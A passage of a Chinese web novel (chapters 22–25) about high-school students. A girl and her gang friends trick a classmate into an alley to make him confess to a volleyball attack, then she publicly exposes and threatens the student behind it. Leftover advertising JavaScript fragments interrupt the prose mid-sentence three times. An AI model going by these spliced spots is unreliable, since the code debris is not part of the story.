周泽楷十分疑惑,他当时只看见球往谭佳宜的方向砸过来,也没时间注意别的,他还以为就是一个意外呢。但如果是故意的,那岂不是冲着谭佳宜去的! 不过最后倒是没有称幕后黑手的意。没砸着谭佳宜,反倒砸着他了。 “你说是有人针对你?找着是谁了吗?” “事情没那么简单,不过也没那么复杂。反正你好好养伤,之后就等着他们来道歉吧。” 他们!还不止一个人。 果然光芒太盛的人容易遭人陷害。周泽楷心想:看来自己的魅力还不够,目前来说还是比较安全的。 “怎么?还买个关子。是想替我摆平一切?”周泽楷挑逗地说。 “是替我自己摆平,毕竟他们的目标是我,你是误伤。” 她这话听着像是没什么人情味儿,但话冷理不冷。 “我知道你现在很厉害,但是你一个人行吗?”周泽楷扭头看她,眼中透着几分不放心。 “反正比你们这些单纯的高中生办法多。” 周泽楷觉得他这说法好笑,像是小孩在装大人。 “行吧,那你小心点儿。” 他现在也只好先答应下来,看谭佳宜的态度,她应该是已经有打算了,她不想让别人插手的事,她肯定是不会说的。 “确实是误伤,但这误伤不也是为了某人。”周泽楷抬眸看谭佳宜,接着说道:“所以,是不是也要给伤员送点福利?” 谭佳宜有种预感,肯定没好事儿。不过她也不好拒绝,毕竟他说得没错,他受伤还不是为了救她。 谭佳宜没拒绝也没直接答应,不过奇怪的是,她竟然萌生了几分期待。她很想知道受伤时的他,究竟想要什么福利,是自己能给的。 “能不能——” 谭佳宜的心突然提到嗓子眼,手心也开始出汗。 “透露一下上次你和七哥去咖啡厅的原因?” 就这?这种情况!搞这么郑重!竟然还是惦记着那件事儿! “还有,你和七哥到底是什么关系?我看他和你走挺近的。就是吧,有点逾越正常社交距离了。” “如果是第一个问题,那我拒绝。”谭佳宜回答得斩钉截铁。 周泽楷就知道以她这个倔脾气,不想让别人掺和的事情打死都不会说的。 “第二个问题我其实也没必要和你解释。抛开老是拉拉扯扯不说,你想想我跟你做同桌,天天是不是也逾越社交距离了。”她说得理直气壮。 听起来她像是又拒绝回答,但很快周泽楷便反应过来,她这不就是在说自己和她的距离比七哥更近。 看来是自己多虑了。 周泽楷嘴角不自觉地扬起,又问道:“那这次月假,我们能不能一起去医院看看乐乐?” 谭佳宜没有料到,周泽楷的脸皮是愈发得厚了,现在也学会得寸进尺了。“福利刚才已经发放了,我没有义务再回答你下一个问题。” 不会吧,刚才那个也算?真是个狡猾的小狐狸,谁算计得过你啊,那就只有再使出杀手锏了。 “哎呦,你看我背上是不是肿了好大一块儿,感觉还是有点痛呢。”他装出一副楚楚可怜的样子,对着谭佳宜撒娇:“这患者啊,就是需要关爱,需要照顾。我需要,乐乐更需要。所以,就一起去嘛,算我求你了。” 周泽楷扭过头,一副期待的样子。 别看周泽楷平时挺正经一人,但这会儿趴在病床上用这种姿势,这种眼神看着谭佳宜,还真有点不忍直视。 “行了。周泽楷,我不吃你这招。” 虽然不忍直视,但周泽楷只要一撒娇,谭佳宜就什么都不想计较了。如果他再问刚刚的第一个问题,没准儿她也会简单和他解释上几句。 就在周泽楷有些灰心丧气之际,身后的少女傲娇地说道:“但看在乐乐的份儿上,就顺便捎上你吧。” 22. 骗术&审问 晚上放学后,七哥找到了照片上的那个人,一路跟着他,直到旁边的人群渐渐散开,才从后面拍了拍他。 李文雄一转身,就看见了身后陌生男子慌忙的样子,好像有什么急事似的。 “你好,有什么事儿吗?”李文雄一脸疑惑地问道。 七哥大口地喘着气,装作一副急匆匆的样子,“同学,你是五中的吧,刚才看到一个和你穿着一样校服的同学,他被一块儿板子砸着了,能过去帮个忙吗。那板子太重了,我一个人搬不动。” 李文雄看着七哥焦急的神色,很快就信以为真了,也担心地问他:“那他还好吗?” “反正我们去晚了肯定就不好了,就在那边,快走吧。”七哥往路的尽头随意一指。 “好好好,救人要紧。” 李文雄跟着七哥,一直走到路灯昏暗的尽头。 “还没到吗?”他体力不太好,没跑几步就上气不接下气。 “快了快了。” “行吧,那我们快点,不然一会儿那个同学估计要被压坏了。”李文雄倒是没起疑心,依旧很相信地跟着七哥。 还真是个憨厚善良的小伙子,现在还在担心别人,一会儿该担心的就是你自己了。 走进一个昏暗的巷子里,七哥突然放慢脚步。 李文雄有些疑惑地问他:“到了吗?人呢?” 七哥转过身来,俯身靠近他,拍了拍他的肩膀,轻声说道:“人,这不就是嘛。” 李文雄终于察觉到事情有些不对劲,等他转过身去的时候,巷子口已经被几个人堵住。他意识到—— 自己中计了! 无路可逃,插翅难飞,这个小可怜儿就这样陷入了蓄谋已久的圈套! “你们到底想干嘛?我就是个学生,没什么钱的。”李文雄把书包紧紧地抱住,往后缩了缩。 “谁说我们要钱了?我们要得是……”黄毛一脸坏笑,用手指戳了戳他的左胸膛。 李文雄脑袋一下子炸开了,不会真遇到□□的人了吧,他还不想死啊。 “放过我吧,我姥姥还在家里等我,我要是死了,她怎么办啊!” 都说人在绝望的时候情绪会失控,李文雄也不例外,他放声大哭起来。 “哈哈哈,七哥你看,原来是个胆小鬼。”黄毛捂着肚子,放声大笑起来。 “你胆子这么小,还敢惹我们希姐。”黄毛接着说道。 “就是就是。”旁边一个身材魁梧的黑脸大汉附和道。 “行了行了,差不多得了。一会儿要是把孩子的胆给吓破了,没准儿话都不会说了。”七哥发话,其他人也停止了刚才的捉弄,纷纷闭上了嘴巴。 “也没想把你怎么样,你在这儿老实待着,一会儿有人要见你。” 正如七哥所言,之后他们还真没拿他怎么样,只是不放他走,就这么静静地看着他。有人忍不住了,掏出个烟盒要抽烟,七哥一把制止住了,厉声呵道:“抽什么烟啊,一会儿把人家好学生给呛着了。” 那人悻悻地收起烟盒,也心知肚明,七哥哪里是怕把他给熏着了,是不想有人在希姐面前抽烟。 过了一会儿,巷子口出现一个身影,高挑纤细,一头蓝色短发下的红唇尤为艳丽。皮衣短裤,露出笔直的一双腿,这个天儿倒也是不怕冷。 她走近李文雄,直截了当地说道:“今天排球场上你把球扔向谭佳宜,那个球是谁给你的?” 一听到这件事情,李文雄突然打了个哆嗦,他更加害怕了,死死地抵住墙面,根本不敢直视谭佳宜,加上光线昏暗,也看不大清她长什么样,只是这个声音倒是有些耳熟。 她怎么会知道这件事情呢?莫非—— “你是……谭佳宜?”他颤颤巍巍地问道。 “我不是…… 我是她姐姐。” 怪不得谭佳宜在学校那么高冷,原来是有个这么有实力的姐姐啊。果然不是一家人,不进一家门,有其拽姐必有其拽妹。 “已经查了监控,里面你和她的那些事儿看得一清二楚。只是到底谁是主谋,我想听你来说。” 李文雄一听调了监控,顿时慌了,他想也不想脱口而出:“是我,是我,和她没什么关系。是我找她要的球。” “真是这样的吗?你要是不说实话,我可就去找她了。” 谭佳宜冰冷的话音让李文雄顿时毛骨悚然,他实在是太害怕了,本来就不擅长说谎的他彻底崩溃了,一下子瘫软在地上。 “对不起,对不起,我对不起你妹妹,也对不起周泽楷。她确实做错了事,我也有错,当时我怎么就没劝住她,反而去帮她干坏事了呢。”李文雄懊恼地自顾自说着。 “哦?你具体说说怎么个没劝住法儿。” “她好像不太喜欢你妹妹,跟我说想教训一下她。她还说排球挺软的,砸一下不会有事的。她说她之前也被排球砸过,只是当时有点儿疼,之后没大问题的。我看她都把排球给我了,当时冲昏了头,也就接了过来,然后就……”李文雄的声音越来越小,这个理由估计连他也说服不了自己。 “但是我真的只是轻轻丢出去的,没使什么劲儿啊,也不知道会……可能我天生力气比别人大那么一点点。” “哼!没使什么劲儿把人家背上砸那么大一块儿红印,还要感谢你手下留情,没把别人砸出内伤是吗?”谭佳宜说到这里,肉眼可见地情绪变得激动起来,连七哥也有些惊讶,一向情绪淡漠的她,也会有如此担心别人的一天。 “那就好,没砸出内伤就好,不然我真的要愧疚死了,睡觉都要 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 忏悔。”李文雄松了口气,又意识到自己说得不对,慌忙解释:“不不不,我不是这个意思,我是真的知错了,也是真心希望周泽楷能没事。” “那你知道,她为什么不喜欢我妹妹吗?” 李文雄犹豫了一下,低着头支支吾吾半天。 “你说吧,我不怪你,这跟你也没什么关系。”谭佳宜知道,肯定不是什么好话,他也是不敢说才不开口的。 他听了这话,终于鼓起勇气,缓缓开口道:“她……她说谭佳宜同学人品很差,表面一套,背后一套,又清高,又虚伪,她们班上的女生也不喜欢她。而且她还偷别人东西,她说有一次,自己的一幅画就是被她偷的,最后还是被她撞见了,她才还回来的。” 说起这件事儿,谭佳宜倒是有些印象。事情当时是这样的:她在回廊上捡到了一幅画,刚准备交到失物招领处,卓艺凡就出现了,旁边跟着几个她的朋友。她说画找了好久,怎么在她手里。谭佳宜自然是实话实说,当时她的那群朋友还不相信她,怀疑是她偷的,不过卓艺凡倒是一脸和气,选择相信自己,还帮着她说话。 反正也不是什么大事,谭佳宜懒得和她们解释,当时把画给她就直接走了,但没想到卓艺凡背后是这么蛐蛐她的。 “那你也这么觉得吗?”谭佳宜反问道。 “我……我不太了解她,但卓艺凡总不会骗人的,这些事肯定不是空穴来风……”他说着说着,声音越来越微弱,自己都有些底气不足。 “你那么相信她,是不是喜欢她啊?” 少年的小心思被戳破,脸顿时变得通红,他结结巴巴地否认:“没有没有,卓同学那么优秀,肯定看不上我。” “挺有自知之明的,但你也是真的眼瞎。有些人就是满嘴谎话,张口就能把白的说成黑的,要是别人说什么就是什么,自己一点分辨能力都没有,只会傻傻地被他人利用,沦为罪恶的帮凶。不过,帮凶也是凶手,这种人一点儿也不无辜。”谭佳宜斜睨了他一眼,眼睛里闪着寒光。 李文雄听着她说这番话时,整个身体都在发抖。 “你走吧。明天上午大课间,到十一班去道歉。记住了吗?” “记住了,记住了。”李文雄在那儿被审了半天,这下终于得到了赦免,还觉得有点儿不真实,他又确认道:“我真能走了?” “怎么,还想待在这里过夜?这里可没你的地儿。”旁边的黄毛说道。 李文雄不敢再多问,赶忙起身离开。兴许是腿麻了,走到巷子口的时候突然踉跄了一下,差点儿摔倒。 “就这么放他走了?”七哥开口道。 谭佳宜掏出口袋里的录音笔,在指尖转了几圈,“我想知道的都在这里面了。而且,他也不是主谋,真正的凶手,我明天再找她算账。” 23. 算账&功劳 第二天上学路上,周泽楷在小区里遇见了谭佳宜,平时她估计是没有正儿八经吃早饭的习惯,总是卡点去学校,到学校后再啃个面包。所以,周泽楷几乎总是遇不到她。 他心里也清楚,她是想避着他。晚上避不开,难不成早上还避不开了? 不过今儿倒是巧的很,谭佳宜几乎是和她一起出门的,二人还没走到小区门口就碰上了。 谭佳宜站在楼下,看到周泽楷走过来,有些不自然地移开目光。周泽楷当然是很自然地走到她身边,故作惊喜地朝她问好。 “唉,你不会是专门在这儿等我的吧?”少年眉毛微挑,故意把“等”字的尾音拖得老长。 “谁等你了?我才下来好吗。”少女嘴硬,哪里会说实话,其实她今天起得很早,她摸不清周泽楷出门的时间,所以就早早地在自家楼下等着,时刻注意着周泽楷家楼下的动态。 她瞥了一眼周泽楷的背,问道:“你的背,好点了吗?” “你在关心我?” 回答问题就好了,这人怎么老是反问她! 谭佳宜拿他没办法,终于嘴软了一次,微微点头答道:“嗯。所以你好点儿了吗?” “嗯”字声音很轻,不仔细听都注意不到。虽然还是冷冷的语调,但周泽楷却能读出其中的温度。毕竟现在是希姐不是希希,关心人的方式是有所变化的。 “放心吧,我好多了,在过几天应该就没事儿了。” 他还是昨天那副云淡风轻的样子,让谭佳宜分辨不出他是真的没事了,还是只是安慰自己。 “昨天校医来怎么说的?” “她就叫我每天记得上药,多休息。嗯……她还说啊,叫我保持心情愉悦,这样啊,有助于伤势痊愈。如果身边的人多关心关心我,那我肯定心情愉悦。”周泽楷一边说,一边看了一眼谭佳宜。 “那你应该没法儿心情愉悦了。马上要放月假了,你回家后身边的人关不关心你,那还真不好说。” 呵呵,谭佳宜显然没有中周泽楷的计,她一听就知道他开始胡诌了,也很巧妙地怼了回去。 唉,她怎么就是不明白,他说的身边的人,当然是指她了! 早自习结束后,谭佳宜去找卓艺凡,她直接走进她们班,径直走到她位置旁,直截了当道:“你出来一下,有事找你。” 十班的人纷纷望向这个不速之客,但没一个人敢吭声的。靠窗坐着的李文雄更是吓了一跳,他是既担心卓艺凡,又害怕谭佳宜。 昨天刚被她姐姐找过,回去后她姐姐肯定全告诉她了,李文雄心里在打鼓,一时不知该怎么办才好。 卓艺凡先是有些惊讶,随后还是保持一脸镇定,问她:“同学,有什么事儿非要单独说吗?”她温声细语,语气平和,把温柔无辜的人设进行到底。 旁边有女生附和道:“对啊,干嘛不能在这儿说。你这随便就闯进别人班,气势汹汹的,谁知道是不是不安好心呢?” 这声音,这语气,谭佳宜觉着,怎么有点儿耳熟。 哦,她想起来了,这不就是上次不分青红皂白,就冤枉她是小偷的人嘛。果然是个好狗腿,她知道自己被人当枪使的样子,真的很愚蠢吗? “出去说是给你留面子,既然给脸不要脸,那在这儿说也行。昨天体育课……” 谭佳宜才刚要说下去,卓艺凡就打断了她:“走,我们出去说吧,还是不要占用大家的时间。”她神色闪出一丝慌张,但还是挤出一抹微笑掩饰。 卓艺凡刚要起身的时候,谭佳宜把手搭在她肩头,一把将她按下。随后缓缓开口道:“刚给过你机会,现在晚了,我就要在这儿说。” 也不管卓艺凡什么反应,她继续说道:“大家先听听这个。”随后掏出录音笔,里面传来李文雄指认卓艺凡让他拿球砸谭佳宜的声音。 在场的人都惊呆了,一时间,卓艺凡和李文雄成了全场的焦点。 “这只是一部分,至于你私下背刺我的事儿,我今天就先不放了。” 谭佳宜平静地盯着卓艺凡,目光冰冷,似一把利刃穿透卓艺凡,撕扯下她最后一层遮羞布。 卓艺凡终于按耐不住性子,扭头瞪了一眼李文雄,他自然是低着头,一声不吭,甚至连大气也不敢喘一声。 卓艺凡突然起身,一脸惊恐地看着李文雄:“这是什么,我不知道啊。李文雄,都是同班同学,你为什么要诬陷我。明明就是你找我借的球,我怎么可能让你去做伤害同学的事。” 辩解声夹杂着抽泣声,大颗大颗的眼泪从她眼里滚落,哭得那叫个梨花带雨,委屈的模样一下子扭转了当时的局面,立刻从众矢之的变成委屈巴巴的受害人。 她旁边的女生继续煽风点火:“还有,你这录音谁知道是真是假,没准儿是你伪造的呢?” 李文雄实在没想到卓艺凡会这样说自己,他怔怔地看着她,突然想到了谭佳宜“姐姐”在巷子里说的话:有些人张口就能把黑的说成白的,没有分辨能力的人,只会傻傻地被别人利用。 所以,卓艺凡真的一直在骗他,一直在利用他吗? “录音笔不相信,活人的话总该相信吧。”谭佳宜没理会哭泣的卓艺凡,把目光投向愣在原地的李文雄。 “我……我……” 与此同时,卓艺凡还是那副被冤枉的样子,也注视着李文雄,带着哭腔打断他:“李文雄,你不记得了吗,我之前可是帮过你的。你一定要实话实说,我不想被冤枉。” 李文雄当然记得,可以说他永远也不会忘记。 那是个闷热的午后,他和外婆准备收摊,谁料天色一变,瓢泼大雨立刻倾盆而降。哪想坏事成双,三轮车这时突然出了问题,只能推着回去。 就在祖孙二人陷入窘境时,卓艺凡出现了。她撑着雨伞,手上还拿着一把格子大伞,从车上跑下来,也不顾地上的泥泞和溅起的水渍,一路小跑着过来,把伞递给了他。 她那天的善意他不会忘,所以他之后才会那么相信她。或许此刻,他甚至有种顺着她的意思,把事情独自担下来的冲动。 但是他一想到她之前的谎言,想到受伤的周泽楷,想到自己最错的事,他觉得,他不能再错下去了,也不能再让她错下去了,不能让无辜的人白白受到伤害。 李文雄站起身来,缓缓开口道:“卓艺凡,对不起了。” 卓艺凡万万没想到他会这样说,有种不详的预感。明明之前说什么他都信,叫他做什么他也同意了啊。 “确实是卓同学让我做的,我们没想到会那么严重,只是想开个玩笑,真的对不起。”他朝谭佳宜深深地鞠了一躬。 一个是平时憨厚老实的好好学生,一个是看似柔弱良善的艺术女神,十班的人都还云里雾里的,一时间不知道相信谁好。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 卓艺凡气得说不出话来,刚要矢口否认的时候,谭佳宜凑到她耳边轻声道:“我奉劝你别再挣扎了,不然我把你比赛抄袭的事情再抖出来,那就不好收场了。” 谭佳宜说完后,朝她微微一笑,笑容带着一丝诡异和恐怖,让人不寒而栗。 卓艺凡瞪大了双眼,一脸不可置信地盯着她。她嘴唇微微发抖,好像要说什么,最后还是没有出声。 过了好一会儿,她终于泄了气,拉住谭佳宜的胳膊说道:“对不起,是我的错,是我一时糊涂。都是同学,别做这么绝。” 旁边的几个女生听后都震惊了,不肯相信卓艺凡竟然向谭佳宜低头了。 “我也没想为难你,没说要你也被球砸一下。但是你不止要和我道歉,别忘了你最后砸的是谁。上午大课间,来十一班给他道歉。” 说罢,她一把甩开卓艺凡的手,转身准备离开。走的时候,十班的其他同学没有一个人敢吭声,全都很自觉地给她让道。 谭佳宜走到门口时,回头又叮嘱了一遍:“别忘了哦,我等着你。”语气虽漫不经心,但分量十足,不容违抗。 她走后,卓艺凡瘫软在椅子上,一句话也不想再说。 两节课的时间很快就过去了,大课间如约而至。谭佳宜让周泽楷先留在位置上,静待赴约的人。 李文雄先走了进来,卓艺凡在门口踌躇了一下,也跟着进来了。李文雄把事情来由又说了一遍,和周泽楷道歉过后,又深深地鞠了一躬,卓艺凡就默默地在后面,也跟着鞠躬。 周泽楷被这样大的阵仗给惊到了,他看了一眼谭佳宜,没想到她是说真的,真把人弄来当众道歉了。 班上其他人当然是看热闹不嫌事大,就连十一班门口也挤满了别的班看热闹的人。 周泽楷听完道歉后,大家都以为一向好脾气的他不会再计较了。但恰恰相反,他的脸冷下来,本来不笑的时候就显得疏离,现在严肃的表情更显得冷峻。 “给我这个误伤的道歉了,那是不是还应该给正主道个歉呢?”他的话有种压迫感,不像是在询问,而像是在命令。 “刚刚已经到过歉了。”李文雄答道。 “哦,是吗。刚刚是刚刚,现在再道一遍,不过分吧。”他把目光从李文雄那里移开,转而盯着卓艺凡说道:“还有你,是你指示的吧,怎么一直往后躲呢?上前点儿,对着她,一会儿道歉的时候大声点。” 卓艺凡看见周泽楷就心虚,也不敢抬头看他,只好乖乖照做。 两人又道了一遍歉后,周泽楷才放他们走了,又叫其他同学也都散了,各回各位,一会儿被老师逮着了可不好。 谭佳宜侧着身子定定地看着他,周泽楷被看得不好意思,问道:“你看我干嘛?” “明明是我替你讨公道,刚才你那番操作,感觉像是在为我说话一样,把我的功劳都抢了。”她单手托腮,努了努嘴道。 “就是在为你说话。至于功劳嘛,我不跟你抢,都是你的,我们希希真的超厉害。”他边说边朝她竖了个大拇指。 谭佳宜听到这个称呼时,只觉心头一颤。她有多久没听到他这样叫她了,大概没多久,也就三年多,但她真的觉得过了好久好久…… 那段妈妈还在的日子,那个内向封闭的少年,那种纯真欢乐的感觉,都被这一声呼唤牵引出来,逐渐掸去尘灰,变得异常清晰…… 24. 照例&例外 今天又是周六,尽管再过一天就要放月假了,但五中还是难得人性化了一次,没有取消他们这周的周假,照常还是不上晚自习,到点就放学了。 其它学生是照常,竞赛生当然也不例外,只不过是照常留下来继续“加餐”——上竞赛培训。 几次交锋后,周泽楷和米老头的关系有所缓和,但米老头还是没完全放下最初的偏见,每次就算周泽楷做得全对,也从来没当众表扬过他,这次当然也不例外。 批改完所有人的随堂练习后,米老头照例开启了点评环节。其实每次这个时候,大家都没什么事儿了,本来就放得比别人晚,现在巴不得早点结束,可偏偏这个时候,米老头说话又像是开启了0.5倍速,只听他不急不忙地缓缓念叨。 “这次课啊,大家掌握得总体是不错的,重点表扬谭佳宜、任俊辉同学,这次随堂练习是满分。大家要向他们学习,都是坐在一个教室上课,为什么别人可以做全对呢?还是那三个句话,多练习,多反思,多总结。之后难度会越来越大,不然会跟不上的……” 又是一番长篇大论,物竞班的全体同学耳朵都听得磨出茧子了,几乎达到了人人能复述的地步,也不枉米老头费尽口舌、一番苦心,怎么不算是一种刻骨铭心呢? 谭佳宜看向周泽楷桌面的习题,分明也是全对,和她的相比,硬要说哪里不一样,估计就是没有眉头那个显眼的“优”字。他果然是那个弃婴,谭佳宜在想,他不会还不知道,做全对是会给打优的吧。 米老头话音刚落,周泽楷只是无奈地叹了口气,估计是习惯了,也没打算提醒他。 他实在无聊,听米老头念经不如接着看那本物理书。老厚的一本,他才推进了十分之一,开学时就看谭佳宜翻了一半,也不知道她现在进展到哪一步了。 周泽楷看得入神,没察觉到米老头已经结束了即兴演讲,周围的同学纷纷开始收拾东西,还是谭佳宜的拉链声将他从物理世界中抽离出来。他抬头看向旁边,谭佳宜正在研究她的拉链,来来回回拉了几遍,两边的链齿彻底分离了,越使劲儿,越糟糕。 弄了半天也没搞定,谭佳宜皱了皱眉,有些不耐烦。 周泽楷没急着帮她,毕竟她一般都比较要强,自己可以解决的事情是绝对不会让别人帮忙的。所以,他选择先在一旁看着她尝试,结果就是她越来越着急,但拉链却仍然不听使唤地乱跑。 原来也有你搞不定的事情。 谭佳宜看他在一旁气定神闲地打量自己,抬头瞪了他一眼。 “要不我来?” “不用。” “真的不用?” 谭佳宜把嘴硬进行到底,继续和手上的一团乱麻战斗,可惜还是败下阵来,没有任何进展。 周泽楷笑着将她手里的书包提过来,顺便嘲笑了她一下。 “怎么笨手笨脚的?” 虽是嘲笑,但却一点儿也没让人感到不舒服,反而有种宠溺的语气。 谭佳宜就这样看着他轻轻把书包拽走,仿佛是帮她卸下一个负担。她一下子觉得轻松不少,脸也不知不觉间泛上一层红晕。 这哪里是嘲笑,分明是在调情! 怪不得学校那么多人喜欢他,估计也是这样身不由己,他不经意的只言片语就足以勾人心魄。 教室里安安静静的,现在只剩他俩了。只见周泽楷捏住两侧的链齿,将拉链头往后慢慢地拖拽。他低着头,神情专注,额前的头发有些长,几乎要挨到眼皮,睫毛又长又直,像一把小刷子,正有节奏地缓慢开合。 他将拉链头拉到尽头,再次拉回来时,两侧的链齿严丝合缝地嵌合在一起,伴着一声丝滑的拉链声,书包被成功拉上。 “就好了?”谭佳宜有些不可置信,自己弄半天都没解决的问题,他三下两下就搞定了,他的手是有什么魔力吗? “嗯。” “没想到你手还挺巧的。”谭佳宜难得没有吝惜自己的夸赞,肯定了周泽楷刚才的妙手。 周泽楷把自己的手举起来晃了晃,“那肯定,这可是握了十年画笔的手,还是有点儿基本功在手上的。” 说起画画,谭佳宜倒是想起一件事来。 “那个,你是不是在□□空间里分享过自己的画?” “嗯?你看我空间了?” “不行吗?” “那倒没有。所以你看了我的,公平起见我是不是也可以看看你的?” “看我心情吧,没准儿哪天就给你拉黑了。” 果然是谭佳宜,一点儿也不上套,在她这儿,从来只有周泽楷吃亏的份儿。 “那可算了,我想你三次元的事儿都够忙了,应该没功夫再经营二次元,何况我想知道的,估计你也不会让其他人知道。” 谭佳宜没理他,转身背上包走了,一副“姐的心思你别猜”的拽样。 周泽楷跟上她,接着问道:“对了,你怎么突然问这个?” “就是想告诉你,有人抄袭你的画,所以叫你多防着点儿,别什么东西都往外发,容易被人扒。” 谭佳宜原以为周泽楷会很惊讶,但没想到说到他的画被抄袭了,他还是没什么太大的反应,而是十分淡定地说:“那看来我无师自通的成果不错,还入得了专业选手的眼。那她抄我的画获奖了吗?” 大哥,这是重点吗?谭佳宜虽然佩服他这种无所谓的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 心态,但还是忍不住问道:“你就不想知道她是谁吗?” “我大概能猜到。学美术、加了我好友、刚刚打过交道的,恐怕也只有她了。” “你什么时候加她好友的?” 面对谭佳宜突如其来的审问,周泽楷竟莫名有些心虚。 我虚什么?我又没做什么对不起她的事? 他捋了捋额前的碎发,故作镇定地回答:“我都记不清了,大概就是刚开学的时候,她说是隔壁班的,听说我会画画,就加上了。你要是介意,我回去把她删了。” 谭佳宜低头盯着地面,脚尖触到一颗小石子,只是抬脚的功夫,石子就飞出老远,哐得一下砸中了前边的铁皮垃圾桶,不知道的还以为她心情不好。 “删她干嘛,你们好歹还都懂美术,以后是同行也说不准儿。” 周泽楷嗅到一股子阴阳怪气的味道,他拿她没办法,只好解释道:“你也知道,我爸妈估计也没想让我走艺术的道路,而且我纯纯爱好,也没经过专业训练。要不还是学物理吧,以后咱俩同行。” 也对,他父母虽然不怎么管他,但肯定不会让他学美术。记得小时候有次他妈妈看到他画画,还把他的画撕了,也不知道为什么那么反对他画画。不过也确实可惜了他的天赋,起码谭佳宜认为,他在绘画方面的天赋,是要比在物理方面更高的,至于他究竟更喜欢哪一个,她也说不清,但她并不希望他放弃自己喜欢的东西。 “谁说我以后就一定要学物理了?” “你的热爱告诉我你想学它,不然怎么有毅力把那么厚的一本书自己读下去。” 谭佳宜陷入沉默,一时也不知道怎么反驳他,可能她也不想反驳吧,毕竟他说得是事实。 “反正你就选你喜欢的,不要让自己留下遗憾。” 少年望向远方,远处除了林立的楼房,还有浩瀚的天空。宇宙无边,星河璀璨,好像未来就如同这夜空般无际无边,有数不尽的未知等着他们去探索。 “别想那么多了,未来未知,我们只管大步向前走。别做囚笼里的困兽,外面一定是更精彩的世界。” 谭佳宜定定地看着周泽楷,这还是她第一次和他谈及未来的事儿。 少年似风,可以将蒲公英带向远方。但她如果不是蒲公英呢?她可能只是一株不开花、不结果的小草,去不了远方,唯一能做的,就是被困在原地,和现实的风雨搏击。 谭佳宜微微点头,很小声的说了一句:“你也是。” 声音微不可查,几乎只有自己能够听清。 不过这就够了。 过生日的时候大家为什么喜欢在心里许愿,因为愿望说出来就不灵了。 25. 意外之喜&计划之中 这次月假回到家后,谭佳宜发现父亲的脸色不太好,只听见书房里传来谭墨行的怒吼声。 “怎么突然就说不续约了,明明之前已经谈妥了要继续合作啊!奇瑞这群言而无信的东西,亏我还在他们那儿下了这么大的心血。” 谭墨行挂断电话后,书房里接着传来东西碎掉的声音,估计他又开始摔东西泄愤了。只是可惜了书房的那些茶具、玩物,本来都是很不错的瓷器,但如果没有遇到珍惜它的伯乐,最后也免不了粉身碎骨,就这样被白白被糟蹋。 这种时候,程婉乔当然不会放过充当贤内助,为丈夫排忧解难的机会。她推开半掩着的门走进去,瞥见地上的狼藉,又走到谭墨行身后,一边给他捏肩揉穴,一边温声劝道:“消消气,伤了自己的身子就不值当了。我虽然不太懂生意场上的事,但我知道,他们没选咱们,是他们没有眼光,这种人,犯不着和他们计较。” 好不容易有个人认可他,谭墨行当然听得进去这种好话。他喜欢程婉乔最大的一点,不是因为她长得好看,而是因为在他看来,只有她是百分百顺从他的。 要说相貌,白言清还要更胜一筹呢,但只有在程婉乔这儿,他才能轻而易举地获得在别处费尽心思,挤破脑袋才能得到的认可和成就感。 谭墨行拉住她的手,上下摩挲起来。原先有些粗糙的手已经变得光滑无比,不过还是和原来一样,带着淡淡的芳香,让他感到安宁。 “也就是看到你,我这心情才稍微好点儿。” 程婉乔反握住谭墨行的手,继续温声道:“你放心,我和佳航会永远支持你的。” 她看似一副恭顺贤惠的模样,笑意盈盈,温婉可人,实则死死盯着半掩着的门,眼底闪过一丝狠厉,像一条绚丽的毒蛇,流光溢彩的外皮下终是致命的毒液。 谭佳宜站在门外,在这个家里,不会察言观色是没法儿生存的,所以她早已练就了一副好耳朵,里面的话听得一清二楚。 哼!想恶心谁呢?以为演一出夫妻恩爱就能证明什么吗?这种虚伪的面孔她见多了,已经不会再伤害她了。她只是为死去的母亲感到不值,生前怎么会看上谭墨行这种凤凰男、伪君子。 她母亲本是冰清玉洁,却和这对狗男女扯上关系,真的是一生最大的不幸。 不过话说回来,刚刚的消息还是挺大快人心的,毕竟谭墨行的律所又遭到了重创。不过这可没完,谭佳宜奉劝谭墨行还是省着点儿气生,好戏还在后头呢。 谭佳宜回到房间后,桌面上又摊开了那本厚厚的物理书。最近既要忙学校的功课,又要忙对付谭墨行的事儿,自从暑假过后,这本书的进度都迟迟没有推进。 物理竞赛书有很多本,为什么谭佳宜偏偏选这一本。其实她自学这本书,是夹带私心的,她的妈妈白言清,就是这本书的编者之一。虽然是比较老旧的版本,现在新版上已经没有母亲的名字了,但母亲生前提到过,当时她还在上大学,她的导师很赏识她,就带她参与了这本书的编写工作。谭佳宜依稀记得,母亲提起这段往事时的神情是多么的生动,她说那段日子虽然艰苦,每天都要查资料,整理,演算,几乎是夜以继日,但她也从中上了人生中很宝贵的一课:只有亲历后才能尝到甜头,做原创的乐趣远比单纯模仿别人要多。如果还能惠及他人,那就更有意义了。 这也是白言清选择去天文馆的原因,她想设计出有趣的展览,吸引更多孩子去探索自然的奥妙。 谭佳宜想到前两天和周泽楷谈论着未来要干什么,虽然他们现在才刚上高中,但其实已经可以开始考虑自己今后的发展方向了。过去三年,她总觉得未来是没有希望的,毕竟自己现在的生活就看不到光亮,她不相信,她摸着黑就能寻到光亮。 但是现在,周泽楷又重新出现在她的生活中,像是一把火炬,点燃了她生命的光,让她又有了憧憬未来的可能。 真的可以吗?她抬头望向逼仄的天花板。 这原本是一间客房,空间不大,刚好能放下一张不大的床,和一张不大的书桌,再就是放两个柜子,一个衣柜,一个书柜。放完这些家具后,基本就没什么活动空间了。 谭佳宜原本不是住这间屋子的,但等到她刚上初中后,第一次回家,自己的东西就已经被程婉乔“贴心”地安置在了这个小房间。程婉乔说是她爸爸决定的,说什么她现在住校,也在家里待不了几天,刚好谭佳航要上小学了,需要一个更大的学习空间,所以就把她原本那间主卧给谭佳航住了,美名其曰“不浪费空间”。 谭墨行当时也确实是默许了,还说会给她添置新的家具,只是他这个父亲贵人多忘事,之后……便也没了后续。 谭佳宜心里跟明镜似得,她知道这肯定是程婉乔的主意,毕竟只有她能够给谭墨行吹枕边风。也是自那次起,她才真正意识到,原来在这个家里,她才是那个外人。 